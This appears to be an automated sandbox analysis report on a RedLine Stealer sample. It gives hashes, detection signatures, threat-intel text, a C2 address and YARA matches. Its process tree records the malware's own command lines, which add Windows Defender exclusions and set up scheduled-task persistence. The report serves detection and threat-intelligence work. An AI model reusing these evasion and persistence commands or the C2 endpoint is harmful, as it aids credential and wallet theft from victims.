Edit tour

Windows Analysis Report
lZ8NRWShfC.exe

Overview

General Information

Sample name:	lZ8NRWShfC.exe renamed because original name is a hash value
Original sample name:	3599fa63d78413242a88966d3b4b14ef.exe
Analysis ID:	1467127
MD5:	3599fa63d78413242a88966d3b4b14ef
SHA1:	44526b00e847d9a16908c79f72dab1af4a2edf29
SHA256:	c08ff513ad0787ed08c72bbdcda0d166e603ea0736f5687b3dddc0f4bb87da33
Tags:	exeRedLineStealer
Infos:

Detection

RedLine

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: Scheduled temp file as task from temp location

Yara detected AntiVM3

Yara detected RedLine Stealer

.NET source code contains potential unpacker

AI detected suspicious sample

Adds a directory exclusion to Windows Defender

C2 URLs / IPs found in malware configuration

Injects a PE file into a foreign processes

Loading BitLocker PowerShell Module

Machine Learning detection for sample

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Crypto Currency Wallets

Uses known network protocols on non-standard ports

Uses schtasks.exe or at.exe to add and modify task schedules

Allocates memory with a write watch (potentially for evading sandboxes)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

HTTP GET or POST without a user agent

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE / OLE file has an invalid certificate

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Powershell Defender Exclusion

Sigma detected: Suspicious Add Scheduled Task Parent

Sigma detected: Suspicious Schtasks From Env Var Folder

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

lZ8NRWShfC.exe (PID: 6884 cmdline: "C:\Users\user\Desktop\lZ8NRWShfC.exe" MD5: 3599FA63D78413242A88966D3B4B14EF)

powershell.exe (PID: 6260 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\lZ8NRWShfC.exe" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 6280 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 824 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\TmfmVKU.exe" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 7136 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WmiPrvSE.exe (PID: 7372 cmdline: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding MD5: 60FF40CFD7FB8FE41EE4FE9AE5FE1C51)

schtasks.exe (PID: 3140 cmdline: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\TmfmVKU" /XML "C:\Users\user\AppData\Local\Temp\tmp51ED.tmp" MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 3612 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

lZ8NRWShfC.exe (PID: 7208 cmdline: "C:\Users\user\Desktop\lZ8NRWShfC.exe" MD5: 3599FA63D78413242A88966D3B4B14EF)

lZ8NRWShfC.exe (PID: 7216 cmdline: "C:\Users\user\Desktop\lZ8NRWShfC.exe" MD5: 3599FA63D78413242A88966D3B4B14EF)

conhost.exe (PID: 7228 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

TmfmVKU.exe (PID: 7308 cmdline: C:\Users\user\AppData\Roaming\TmfmVKU.exe MD5: 3599FA63D78413242A88966D3B4B14EF)

schtasks.exe (PID: 7552 cmdline: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\TmfmVKU" /XML "C:\Users\user\AppData\Local\Temp\tmp76F9.tmp" MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 7560 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

TmfmVKU.exe (PID: 7608 cmdline: "C:\Users\user\AppData\Roaming\TmfmVKU.exe" MD5: 3599FA63D78413242A88966D3B4B14EF)

conhost.exe (PID: 7620 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
RedLine Stealer	RedLine Stealer is a malware available on underground forums for sale apparently as standalone ($100/$150 depending on the version) or also on a subscription basis ($100/month). This malware harvests information from browsers such as saved credentials, autocomplete data, and credit card information. A system inventory is also taken when running on a target machine, to include details such as the username, location data, hardware configuration, and information regarding installed security software. More recent versions of RedLine added the ability to steal cryptocurrency. FTP and IM clients are also apparently targeted by this family, and this malware has the ability to upload and download files, execute commands, and periodically send back information about the infected computer.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://apophis133.medium.com/redline-technical-analysis-report-5034e16ad152 https://asec.ahnlab.com/en/30445/ https://asec.ahnlab.com/en/35981/ https://asec.ahnlab.com/ko/25837/	https://malpedia.caad.fkie.fraunhofer.de/details/win.redline_stealer

Malware Configuration

Threatname: RedLine

{"C2 url": ["185.222.58.91:55615"], "Bot Id": "cheat"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_RedLine_1	Yara detected RedLine Stealer	Joe Security
dump.pcap	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000002.1761835638.0000000003F18000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.1761835638.0000000003F18000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000000.00000002.1761835638.0000000003F18000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_f54632eb	unknown	unknown	0x13b2a:$a4: get_ScannedWallets 0x2b94a:$a4: get_ScannedWallets 0x4356a:$a4: get_ScannedWallets 0x12988:$a5: get_ScanTelegram 0x2a7a8:$a5: get_ScanTelegram 0x423c8:$a5: get_ScanTelegram 0x137ae:$a6: get_ScanGeckoBrowsersPaths 0x2b5ce:$a6: get_ScanGeckoBrowsersPaths 0x431ee:$a6: get_ScanGeckoBrowsersPaths 0x115ca:$a7: <Processes>k__BackingField 0x293ea:$a7: <Processes>k__BackingField 0x4100a:$a7: <Processes>k__BackingField 0xf4dc:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0x272fc:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0x3ef1c:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0x10efe:$a9: <ScanFTP>k__BackingField 0x28d1e:$a9: <ScanFTP>k__BackingField 0x4093e:$a9: <ScanFTP>k__BackingField
00000008.00000002.1870267028.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000008.00000002.1870267028.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000008.00000002.1870267028.0000000000402000.00000040.00000400.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_f54632eb	unknown	unknown	0x133ca:$a4: get_ScannedWallets 0x12228:$a5: get_ScanTelegram 0x1304e:$a6: get_ScanGeckoBrowsersPaths 0x10e6a:$a7: <Processes>k__BackingField 0xed7c:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0x1079e:$a9: <ScanFTP>k__BackingField
0000000A.00000002.1858249007.0000000004399000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000A.00000002.1858249007.0000000004399000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0000000A.00000002.1858249007.0000000004399000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_f54632eb	unknown	unknown	0x13c22:$a4: get_ScannedWallets 0x2ba42:$a4: get_ScannedWallets 0x43662:$a4: get_ScannedWallets 0x12a80:$a5: get_ScanTelegram 0x2a8a0:$a5: get_ScanTelegram 0x424c0:$a5: get_ScanTelegram 0x138a6:$a6: get_ScanGeckoBrowsersPaths 0x2b6c6:$a6: get_ScanGeckoBrowsersPaths 0x432e6:$a6: get_ScanGeckoBrowsersPaths 0x116c2:$a7: <Processes>k__BackingField 0x294e2:$a7: <Processes>k__BackingField 0x41102:$a7: <Processes>k__BackingField 0xf5d4:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0x273f4:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0x3f014:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0x10ff6:$a9: <ScanFTP>k__BackingField 0x28e16:$a9: <ScanFTP>k__BackingField 0x40a36:$a9: <ScanFTP>k__BackingField
Process Memory Space: lZ8NRWShfC.exe PID: 6884	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: lZ8NRWShfC.exe PID: 6884	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: lZ8NRWShfC.exe PID: 6884	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Process Memory Space: lZ8NRWShfC.exe PID: 6884	Windows_Trojan_RedLineStealer_f54632eb	unknown	unknown	0x572da:$a4: get_ScannedWallets 0x56181:$a5: get_ScanTelegram 0x56f63:$a6: get_ScanGeckoBrowsersPaths 0x54e14:$a7: <Processes>k__BackingField 0x52347:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0x54748:$a9: <ScanFTP>k__BackingField
Process Memory Space: lZ8NRWShfC.exe PID: 7216	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: lZ8NRWShfC.exe PID: 7216	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Process Memory Space: lZ8NRWShfC.exe PID: 7216	Windows_Trojan_RedLineStealer_f54632eb	unknown	unknown	0x4839b0:$a4: get_ScannedWallets 0x482857:$a5: get_ScanTelegram 0x483639:$a6: get_ScanGeckoBrowsersPaths 0x4814ea:$a7: <Processes>k__BackingField 0x47ea1d:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0x480e1e:$a9: <ScanFTP>k__BackingField
Process Memory Space: TmfmVKU.exe PID: 7308	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: TmfmVKU.exe PID: 7308	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: TmfmVKU.exe PID: 7308	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Process Memory Space: TmfmVKU.exe PID: 7308	Windows_Trojan_RedLineStealer_f54632eb	unknown	unknown	0x39d81:$a4: get_ScannedWallets 0x38c28:$a5: get_ScanTelegram 0x39a0a:$a6: get_ScanGeckoBrowsersPaths 0x378bb:$a7: <Processes>k__BackingField 0x34dee:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0x371ef:$a9: <ScanFTP>k__BackingField
Process Memory Space: TmfmVKU.exe PID: 7608	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: TmfmVKU.exe PID: 7608	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Click to see the 17 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.lZ8NRWShfC.exe.3f18560.7.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.lZ8NRWShfC.exe.3f18560.7.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0.2.lZ8NRWShfC.exe.3f18560.7.unpack	Windows_Trojan_RedLineStealer_f54632eb	unknown	unknown	0x117ca:$a4: get_ScannedWallets 0x10628:$a5: get_ScanTelegram 0x1144e:$a6: get_ScanGeckoBrowsersPaths 0xf26a:$a7: <Processes>k__BackingField 0xd17c:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0xeb9e:$a9: <ScanFTP>k__BackingField
0.2.lZ8NRWShfC.exe.3f18560.7.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0xe68a:$u7: RunPE 0x11d41:$u8: DownloadAndEx 0x7330:$pat14: , CommandLine: 0x11279:$v2_1: ListOfProcesses 0xe88b:$v2_2: get_ScanVPN 0xe92e:$v2_2: get_ScanFTP 0xf61e:$v2_2: get_ScanDiscord 0x1060c:$v2_2: get_ScanSteam 0x10628:$v2_2: get_ScanTelegram 0x106ce:$v2_2: get_ScanScreen 0x11416:$v2_2: get_ScanChromeBrowsersPaths 0x1144e:$v2_2: get_ScanGeckoBrowsersPaths 0x11709:$v2_2: get_ScanBrowsers 0x117ca:$v2_2: get_ScannedWallets 0x117f0:$v2_2: get_ScanWallets 0x11810:$v2_3: GetArguments 0xfed9:$v2_4: VerifyUpdate 0x147ea:$v2_4: VerifyUpdate 0x11bca:$v2_5: VerifyScanRequest 0x112c6:$v2_6: GetUpdates 0x147cb:$v2_6: GetUpdates
8.2.lZ8NRWShfC.exe.400000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
8.2.lZ8NRWShfC.exe.400000.0.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
8.2.lZ8NRWShfC.exe.400000.0.unpack	Windows_Trojan_RedLineStealer_f54632eb	unknown	unknown	0x135ca:$a4: get_ScannedWallets 0x12428:$a5: get_ScanTelegram 0x1324e:$a6: get_ScanGeckoBrowsersPaths 0x1106a:$a7: <Processes>k__BackingField 0xef7c:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0x1099e:$a9: <ScanFTP>k__BackingField
8.2.lZ8NRWShfC.exe.400000.0.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1048a:$u7: RunPE 0x13b41:$u8: DownloadAndEx 0x9130:$pat14: , CommandLine: 0x13079:$v2_1: ListOfProcesses 0x1068b:$v2_2: get_ScanVPN 0x1072e:$v2_2: get_ScanFTP 0x1141e:$v2_2: get_ScanDiscord 0x1240c:$v2_2: get_ScanSteam 0x12428:$v2_2: get_ScanTelegram 0x124ce:$v2_2: get_ScanScreen 0x13216:$v2_2: get_ScanChromeBrowsersPaths 0x1324e:$v2_2: get_ScanGeckoBrowsersPaths 0x13509:$v2_2: get_ScanBrowsers 0x135ca:$v2_2: get_ScannedWallets 0x135f0:$v2_2: get_ScanWallets 0x13610:$v2_3: GetArguments 0x11cd9:$v2_4: VerifyUpdate 0x165ea:$v2_4: VerifyUpdate 0x139ca:$v2_5: VerifyScanRequest 0x130c6:$v2_6: GetUpdates 0x165cb:$v2_6: GetUpdates
10.2.TmfmVKU.exe.43b1478.7.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
10.2.TmfmVKU.exe.43b1478.7.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
10.2.TmfmVKU.exe.43b1478.7.unpack	Windows_Trojan_RedLineStealer_f54632eb	unknown	unknown	0x117ca:$a4: get_ScannedWallets 0x10628:$a5: get_ScanTelegram 0x1144e:$a6: get_ScanGeckoBrowsersPaths 0xf26a:$a7: <Processes>k__BackingField 0xd17c:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0xeb9e:$a9: <ScanFTP>k__BackingField
10.2.TmfmVKU.exe.43b1478.7.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0xe68a:$u7: RunPE 0x11d41:$u8: DownloadAndEx 0x7330:$pat14: , CommandLine: 0x11279:$v2_1: ListOfProcesses 0xe88b:$v2_2: get_ScanVPN 0xe92e:$v2_2: get_ScanFTP 0xf61e:$v2_2: get_ScanDiscord 0x1060c:$v2_2: get_ScanSteam 0x10628:$v2_2: get_ScanTelegram 0x106ce:$v2_2: get_ScanScreen 0x11416:$v2_2: get_ScanChromeBrowsersPaths 0x1144e:$v2_2: get_ScanGeckoBrowsersPaths 0x11709:$v2_2: get_ScanBrowsers 0x117ca:$v2_2: get_ScannedWallets 0x117f0:$v2_2: get_ScanWallets 0x11810:$v2_3: GetArguments 0xfed9:$v2_4: VerifyUpdate 0x147ea:$v2_4: VerifyUpdate 0x11bca:$v2_5: VerifyScanRequest 0x112c6:$v2_6: GetUpdates 0x147cb:$v2_6: GetUpdates
10.2.TmfmVKU.exe.43b1478.7.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
10.2.TmfmVKU.exe.43b1478.7.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
10.2.TmfmVKU.exe.43b1478.7.raw.unpack	Windows_Trojan_RedLineStealer_f54632eb	unknown	unknown	0x135ca:$a4: get_ScannedWallets 0x2b1ea:$a4: get_ScannedWallets 0x12428:$a5: get_ScanTelegram 0x2a048:$a5: get_ScanTelegram 0x1324e:$a6: get_ScanGeckoBrowsersPaths 0x2ae6e:$a6: get_ScanGeckoBrowsersPaths 0x1106a:$a7: <Processes>k__BackingField 0x28c8a:$a7: <Processes>k__BackingField 0xef7c:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0x26b9c:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0x1099e:$a9: <ScanFTP>k__BackingField 0x285be:$a9: <ScanFTP>k__BackingField
10.2.TmfmVKU.exe.43b1478.7.raw.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1048a:$u7: RunPE 0x280aa:$u7: RunPE 0x13b41:$u8: DownloadAndEx 0x2b761:$u8: DownloadAndEx 0x9130:$pat14: , CommandLine: 0x20d50:$pat14: , CommandLine: 0x13079:$v2_1: ListOfProcesses 0x2ac99:$v2_1: ListOfProcesses 0x1068b:$v2_2: get_ScanVPN 0x1072e:$v2_2: get_ScanFTP 0x1141e:$v2_2: get_ScanDiscord 0x1240c:$v2_2: get_ScanSteam 0x12428:$v2_2: get_ScanTelegram 0x124ce:$v2_2: get_ScanScreen 0x13216:$v2_2: get_ScanChromeBrowsersPaths 0x1324e:$v2_2: get_ScanGeckoBrowsersPaths 0x13509:$v2_2: get_ScanBrowsers 0x135ca:$v2_2: get_ScannedWallets 0x135f0:$v2_2: get_ScanWallets 0x282ab:$v2_2: get_ScanVPN 0x2834e:$v2_2: get_ScanFTP
0.2.lZ8NRWShfC.exe.3f30380.8.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.lZ8NRWShfC.exe.3f30380.8.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0.2.lZ8NRWShfC.exe.3f30380.8.unpack	Windows_Trojan_RedLineStealer_f54632eb	unknown	unknown	0x117ca:$a4: get_ScannedWallets 0x10628:$a5: get_ScanTelegram 0x1144e:$a6: get_ScanGeckoBrowsersPaths 0xf26a:$a7: <Processes>k__BackingField 0xd17c:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0xeb9e:$a9: <ScanFTP>k__BackingField
0.2.lZ8NRWShfC.exe.3f30380.8.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0xe68a:$u7: RunPE 0x11d41:$u8: DownloadAndEx 0x7330:$pat14: , CommandLine: 0x11279:$v2_1: ListOfProcesses 0xe88b:$v2_2: get_ScanVPN 0xe92e:$v2_2: get_ScanFTP 0xf61e:$v2_2: get_ScanDiscord 0x1060c:$v2_2: get_ScanSteam 0x10628:$v2_2: get_ScanTelegram 0x106ce:$v2_2: get_ScanScreen 0x11416:$v2_2: get_ScanChromeBrowsersPaths 0x1144e:$v2_2: get_ScanGeckoBrowsersPaths 0x11709:$v2_2: get_ScanBrowsers 0x117ca:$v2_2: get_ScannedWallets 0x117f0:$v2_2: get_ScanWallets 0x11810:$v2_3: GetArguments 0xfed9:$v2_4: VerifyUpdate 0x147ea:$v2_4: VerifyUpdate 0x11bca:$v2_5: VerifyScanRequest 0x112c6:$v2_6: GetUpdates 0x147cb:$v2_6: GetUpdates
10.2.TmfmVKU.exe.4399658.6.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
10.2.TmfmVKU.exe.4399658.6.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
10.2.TmfmVKU.exe.4399658.6.unpack	Windows_Trojan_RedLineStealer_f54632eb	unknown	unknown	0x117ca:$a4: get_ScannedWallets 0x10628:$a5: get_ScanTelegram 0x1144e:$a6: get_ScanGeckoBrowsersPaths 0xf26a:$a7: <Processes>k__BackingField 0xd17c:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0xeb9e:$a9: <ScanFTP>k__BackingField
10.2.TmfmVKU.exe.4399658.6.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0xe68a:$u7: RunPE 0x11d41:$u8: DownloadAndEx 0x7330:$pat14: , CommandLine: 0x11279:$v2_1: ListOfProcesses 0xe88b:$v2_2: get_ScanVPN 0xe92e:$v2_2: get_ScanFTP 0xf61e:$v2_2: get_ScanDiscord 0x1060c:$v2_2: get_ScanSteam 0x10628:$v2_2: get_ScanTelegram 0x106ce:$v2_2: get_ScanScreen 0x11416:$v2_2: get_ScanChromeBrowsersPaths 0x1144e:$v2_2: get_ScanGeckoBrowsersPaths 0x11709:$v2_2: get_ScanBrowsers 0x117ca:$v2_2: get_ScannedWallets 0x117f0:$v2_2: get_ScanWallets 0x11810:$v2_3: GetArguments 0xfed9:$v2_4: VerifyUpdate 0x147ea:$v2_4: VerifyUpdate 0x11bca:$v2_5: VerifyScanRequest 0x112c6:$v2_6: GetUpdates 0x147cb:$v2_6: GetUpdates
0.2.lZ8NRWShfC.exe.3f30380.8.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.lZ8NRWShfC.exe.3f30380.8.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0.2.lZ8NRWShfC.exe.3f30380.8.raw.unpack	Windows_Trojan_RedLineStealer_f54632eb	unknown	unknown	0x135ca:$a4: get_ScannedWallets 0x2b1ea:$a4: get_ScannedWallets 0x12428:$a5: get_ScanTelegram 0x2a048:$a5: get_ScanTelegram 0x1324e:$a6: get_ScanGeckoBrowsersPaths 0x2ae6e:$a6: get_ScanGeckoBrowsersPaths 0x1106a:$a7: <Processes>k__BackingField 0x28c8a:$a7: <Processes>k__BackingField 0xef7c:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0x26b9c:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0x1099e:$a9: <ScanFTP>k__BackingField 0x285be:$a9: <ScanFTP>k__BackingField
0.2.lZ8NRWShfC.exe.3f30380.8.raw.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1048a:$u7: RunPE 0x280aa:$u7: RunPE 0x13b41:$u8: DownloadAndEx 0x2b761:$u8: DownloadAndEx 0x9130:$pat14: , CommandLine: 0x20d50:$pat14: , CommandLine: 0x13079:$v2_1: ListOfProcesses 0x2ac99:$v2_1: ListOfProcesses 0x1068b:$v2_2: get_ScanVPN 0x1072e:$v2_2: get_ScanFTP 0x1141e:$v2_2: get_ScanDiscord 0x1240c:$v2_2: get_ScanSteam 0x12428:$v2_2: get_ScanTelegram 0x124ce:$v2_2: get_ScanScreen 0x13216:$v2_2: get_ScanChromeBrowsersPaths 0x1324e:$v2_2: get_ScanGeckoBrowsersPaths 0x13509:$v2_2: get_ScanBrowsers 0x135ca:$v2_2: get_ScannedWallets 0x135f0:$v2_2: get_ScanWallets 0x282ab:$v2_2: get_ScanVPN 0x2834e:$v2_2: get_ScanFTP
0.2.lZ8NRWShfC.exe.3f18560.7.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.lZ8NRWShfC.exe.3f18560.7.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0.2.lZ8NRWShfC.exe.3f18560.7.raw.unpack	Windows_Trojan_RedLineStealer_f54632eb	unknown	unknown	0x135ca:$a4: get_ScannedWallets 0x2b3ea:$a4: get_ScannedWallets 0x4300a:$a4: get_ScannedWallets 0x12428:$a5: get_ScanTelegram 0x2a248:$a5: get_ScanTelegram 0x41e68:$a5: get_ScanTelegram 0x1324e:$a6: get_ScanGeckoBrowsersPaths 0x2b06e:$a6: get_ScanGeckoBrowsersPaths 0x42c8e:$a6: get_ScanGeckoBrowsersPaths 0x1106a:$a7: <Processes>k__BackingField 0x28e8a:$a7: <Processes>k__BackingField 0x40aaa:$a7: <Processes>k__BackingField 0xef7c:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0x26d9c:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0x3e9bc:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0x1099e:$a9: <ScanFTP>k__BackingField 0x287be:$a9: <ScanFTP>k__BackingField 0x403de:$a9: <ScanFTP>k__BackingField
0.2.lZ8NRWShfC.exe.3f18560.7.raw.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1048a:$u7: RunPE 0x282aa:$u7: RunPE 0x3feca:$u7: RunPE 0x13b41:$u8: DownloadAndEx 0x2b961:$u8: DownloadAndEx 0x43581:$u8: DownloadAndEx 0x9130:$pat14: , CommandLine: 0x20f50:$pat14: , CommandLine: 0x38b70:$pat14: , CommandLine: 0x13079:$v2_1: ListOfProcesses 0x2ae99:$v2_1: ListOfProcesses 0x42ab9:$v2_1: ListOfProcesses 0x1068b:$v2_2: get_ScanVPN 0x1072e:$v2_2: get_ScanFTP 0x1141e:$v2_2: get_ScanDiscord 0x1240c:$v2_2: get_ScanSteam 0x12428:$v2_2: get_ScanTelegram 0x124ce:$v2_2: get_ScanScreen 0x13216:$v2_2: get_ScanChromeBrowsersPaths 0x1324e:$v2_2: get_ScanGeckoBrowsersPaths 0x13509:$v2_2: get_ScanBrowsers
10.2.TmfmVKU.exe.4399658.6.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
10.2.TmfmVKU.exe.4399658.6.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
10.2.TmfmVKU.exe.4399658.6.raw.unpack	Windows_Trojan_RedLineStealer_f54632eb	unknown	unknown	0x135ca:$a4: get_ScannedWallets 0x2b3ea:$a4: get_ScannedWallets 0x4300a:$a4: get_ScannedWallets 0x12428:$a5: get_ScanTelegram 0x2a248:$a5: get_ScanTelegram 0x41e68:$a5: get_ScanTelegram 0x1324e:$a6: get_ScanGeckoBrowsersPaths 0x2b06e:$a6: get_ScanGeckoBrowsersPaths 0x42c8e:$a6: get_ScanGeckoBrowsersPaths 0x1106a:$a7: <Processes>k__BackingField 0x28e8a:$a7: <Processes>k__BackingField 0x40aaa:$a7: <Processes>k__BackingField 0xef7c:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0x26d9c:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0x3e9bc:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0x1099e:$a9: <ScanFTP>k__BackingField 0x287be:$a9: <ScanFTP>k__BackingField 0x403de:$a9: <ScanFTP>k__BackingField
10.2.TmfmVKU.exe.4399658.6.raw.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1048a:$u7: RunPE 0x282aa:$u7: RunPE 0x3feca:$u7: RunPE 0x13b41:$u8: DownloadAndEx 0x2b961:$u8: DownloadAndEx 0x43581:$u8: DownloadAndEx 0x9130:$pat14: , CommandLine: 0x20f50:$pat14: , CommandLine: 0x38b70:$pat14: , CommandLine: 0x13079:$v2_1: ListOfProcesses 0x2ae99:$v2_1: ListOfProcesses 0x42ab9:$v2_1: ListOfProcesses 0x1068b:$v2_2: get_ScanVPN 0x1072e:$v2_2: get_ScanFTP 0x1141e:$v2_2: get_ScanDiscord 0x1240c:$v2_2: get_ScanSteam 0x12428:$v2_2: get_ScanTelegram 0x124ce:$v2_2: get_ScanScreen 0x13216:$v2_2: get_ScanChromeBrowsersPaths 0x1324e:$v2_2: get_ScanGeckoBrowsersPaths 0x13509:$v2_2: get_ScanBrowsers
Click to see the 31 entries

Sigma Signatures

System Summary

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

